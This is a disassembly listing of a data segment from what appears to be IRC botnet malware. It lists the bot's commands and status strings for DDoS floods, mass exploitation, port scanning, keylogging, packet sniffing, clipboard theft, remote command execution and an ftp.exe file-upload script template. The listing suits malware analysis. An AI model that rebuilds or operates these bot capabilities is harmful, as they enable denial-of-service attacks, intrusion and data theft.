sub_40CD3A+39F5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 8 unk_434A78 db 2 ; DATA XREF: sub_40CD3A+3969o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0 align 8 unk_434AC8 db 2 ; DATA XREF: sub_40CD3A+3910o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 10h unk_434B10 db 2 ; DATA XREF: sub_40CD3A+3866o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_434B60 db 2 ; DATA XREF: sub_40CD3A+3804o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 8 dword_434BA8 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40CD3A+375Do dd 2029206Ch, 2BBBB02h aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0 align 8 dword_434BF8 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40CD3A+36F5o dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_434C38 db 2 ; DATA XREF: sub_40CD3A+3670o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_434C8C db 2 ; DATA XREF: sub_40CD3A+3617o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 10h unk_434CD0 db 2 ; DATA XREF: sub_40CD3A+3533o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 8 unk_434D28 db 2 ; DATA XREF: sub_40CD3A+34DAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_434D78 db 2 ; DATA XREF: sub_40CD3A+343Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_434DC8 db 2 ; DATA XREF: sub_40CD3A+33E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CD3A+335Do align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CD3A+3263o align 4 dword_434E38 dd 54434101h, 204E4F49h, 17325h, 0 ; sub_40CD3A+421Ao dword_434E48 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CD3A+3161o ; sub_40CD3A+4D39o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 8 dword_434E98 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CD3A+3108o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_40CD3A+30DDo ; sub_40CD3A+4CAFo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40CD3A+30D6o ; sub_40CD3A+4CA8o align 8 dword_434F28 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CD3A+2F98o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_21 db ' Failed to start scan, no IP specified.',0 align 8 dword_434F78 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CD3A+2E52o ; sub_40CD3A+4AF3o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 10h dword_434FD0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40CD3A+2E0Co dd 2029206Ch, 2BBBB02h aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_435020 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40CD3A+2DB3o dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CD3A+2CFCo align 8 unk_435098 db 2 ; DATA XREF: sub_40CD3A+2CD2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 8 unk_4350E8 db 2 ; DATA XREF: sub_40CD3A+2C79o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 8 dword_435148 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40F8E3o dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 8 dword_435198 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CD3A+2B8Do dd 2029206Ch, 2BBBB02h aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 8 dword_4351E8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CD3A+2B29o dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_40CD3A+2B19o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CD3A+2B12o dword_435240 dd 28026502h, 62302E31h db 29h byte_435249 db 20h, 28h, 20h ; DATA XREF: seg001:off_42450Co dd 2E706374h, 1F641F6Dh, 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 align 10h dword_435280 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40F6CEo dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4352C0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CD3A+298Do dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CD3A+2976o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CD3A+295Fo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CD3A+293Fo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CD3A+290Ao align 4 dword_43533C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CD3A+2884o dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 10h aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CD3A+2861o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CD3A+283Eo align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CD3A+2827o align 4 unk_435398 db 3 ; DATA XREF: sub_40CD3A+27D8o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 65h, 6Eh db 7Ah ; z db 31h, 30h, 62h db 20h db 3, 32h, 2Eh db 2Eh ; . db 20h, 3, 31h db 35h ; 5 db 28h, 65h, 6Dh db 61h ; a db 69h, 6Ch, 3 db 32h ; 2 db 2Eh, 3, 31h db 35h ; 5 db 6Dh, 6Fh, 64h db 29h ; ) db 20h, 3, 32h db 0BBh ; » db 3, 31h, 35h aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CD3A+2764o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: sub_40CD3A+26C8o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40CD3A+2679o align 4 aUsa db 'usa',0 ; DATA XREF: sub_40CD3A+2662o aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CD3A+264Bo align 10h aPg db 'pg',0 ; DATA XREF: sub_40CD3A+2634o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CD3A+261Do align 10h aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CD3A+2606o align 10h aPu db 'pu',0 ; DATA XREF: sub_40CD3A+25EFo align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CD3A+25D8o align 10h aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CD3A+25C1o align 10h aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CD3A+2593o align 4 aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CD3A+256Ao align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40CD3A+2553o align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CD3A+253Co align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CD3A+2525o align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CD3A+250Eo align 4 aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CD3A+24F7o align 4 aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CD3A+24E0o align 4 aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CD3A+24C9o align 10h aD1 db 'd1',0 ; DATA XREF: sub_40CD3A+24B2o align 4 aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CD3A+249Bo align 4 aSy1 db 'sy1',0 ; DATA XREF: sub_40CD3A+2484o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CD3A+246Do align 4 aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CD3A+2456o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CD3A+243Fo align 4 aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CD3A+2428o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40CD3A+2411o aClone_make db 'clone.make',0 ; DATA XREF: sub_40CD3A+23FAo align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CD3A+23D1o aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CD3A+23BAo align 10h aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CD3A+23A3o align 4 aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CD3A+238Co align 4 aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CD3A+2375o align 4 aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CD3A+235Eo align 4 aBox_e db 'box.e',0 ; DATA XREF: sub_40CD3A+2347o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CD3A+2330o aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CD3A+2319o align 10h aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CD3A+2302o align 10h aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CD3A+22EBo align 4 aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CD3A+22D4o align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CD3A+22BDo align 4 aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CD3A+22A6o align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40CD3A+228Fo aClone_part db 'clone.part',0 ; DATA XREF: sub_40CD3A+2278o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40CD3A+2261o aClone_join db 'clone.join',0 ; DATA XREF: sub_40CD3A+224Ao align 10h aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CD3A+2233o align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CD3A+221Co align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40CD3A+2205o aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CD3A+21EEo align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CD3A+21D7o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CD3A+21C0o align 4 aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CD3A+21A9o align 4 aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CD3A+2192o align 4 aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CD3A+217Bo align 10h aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CD3A+2164o align 4 aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CD3A+214Do align 4 aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CD3A+2136o align 10h aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CD3A+211Fo align 4 aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CD3A+2108o aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CD3A+20F1o align 4 aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CD3A+20DAo align 4 aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CD3A+20B1o align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CD3A+209Ao dword_4356F0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40EDB9o dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 10h dword_435720 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40EDB2o dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_435754 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40ED67o dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_435784 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A+2026o dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40CD3A+1F9Fo align 10h dword_4357C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40ECCEo dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_4357F4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A+1F8Ao dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40CD3A+1F1Co align 10h aDelete db 'delete',0 ; DATA XREF: sub_40CD3A+1F01o align 4 aPause db 'pause',0 ; DATA XREF: sub_40CD3A+1ECBo align 10h aStop db 'stop',0 ; DATA XREF: sub_40CD3A+1EB3o align 4 dword_435848 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_40EBE2o dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_43587C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A+1E9Eo dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 8 dword_4358B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CD3A+1E14o dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: sub_40CD3A+1DF0o align 10h unk_435910 db 2 ; DATA XREF: sub_40CD3A+1DBFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_25 db ' Failed to start logging thread, error: <%d>.',0 align 10h unk_435960 db 2 ; DATA XREF: sub_40CD3A+1D66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_435994 db 2 ; DATA XREF: sub_40CD3A+1CE5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4359C8 db 2 ; DATA XREF: sub_40CD3A:loc_40EA09o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_435A08 db 2 ; DATA XREF: sub_40CD3A+1CC5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CD3A+1C6Bo align 4 unk_435A64 db 2 ; DATA XREF: sub_40CD3A:loc_40E998o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 10h unk_435AA0 db 2 ; DATA XREF: sub_40CD3A+1C54o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40CD3A+1C31o ; sub_40CD3A+1CA2o unk_435AF0 db 2 ; DATA XREF: sub_40CD3A+1C11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_26 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_435B40 db 2 ; DATA XREF: sub_40CD3A+1BB8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_435B84 db 2 ; DATA XREF: sub_40CD3A+1B54o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40CD3A+1B34o ; sub_40CD3A+1C80o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40CD3A+1B1Fo align 4 aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CD3A+1B08o align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CD3A+1AF1o align 4 aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CD3A+1ADAo align 4 aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CD3A+1AC3o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CD3A+1A95o ; sub_40CD3A+1AACo align 4 aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CD3A+1A7Eo align 10h aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CD3A+1A67o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CD3A+1A50o align 4 aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CD3A+1A39o align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CD3A+1A22o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CD3A+1A0Bo aBox_del db 'box.del',0 ; DATA XREF: sub_40CD3A+19F4o aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CD3A+19DDo align 4 aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CD3A+19C6o align 4 aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CD3A+19AFo align 4 aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CD3A+1998o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CD3A+1981o align 10h aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CD3A+196Ao align 4 aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CD3A+1953o aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CD3A+193Co align 4 aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CD3A+1925o align 4 aBox_o db 'box.o',0 ; DATA XREF: sub_40CD3A+190Eo align 10h aBox_open db 'box.open',0 ; DATA XREF: sub_40CD3A+18F7o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CD3A+18E0o align 4 aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CD3A+18C9o align 10h aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CD3A+18B2o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CD3A+189Bo align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40CD3A+1884o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CD3A+186Do align 10h aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CD3A+1856o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CD3A+183Fo align 4 aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CD3A+1828o align 4 aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CD3A+1811o aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CD3A+17FAo align 4 aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CD3A+17E3o align 10h aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CD3A+17CCo align 4 aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CD3A+17B5o align 4 aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CD3A+179Eo align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CD3A+1787o align 4 aVall db 'vall',0 ; DATA XREF: sub_40CD3A+1761o align 10h aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CD3A+174Co align 4 aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CD3A+1737o align 4 aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CD3A+1722o align 4 aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CD3A+170Do align 4 aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CD3A+16F8o aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CD3A+16E3o align 10h aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CD3A+16CEo align 10h aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CD3A+16B9o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CD3A+16A4o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CD3A+168Fo align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CD3A+167Ao align 4 aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CD3A+1665o align 10h aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CD3A+1650o dword_435E2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+1645o dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40CD3A+1611o ; sub_414E97+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40CD3A+1604o aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CD3A+15E2o align 10h 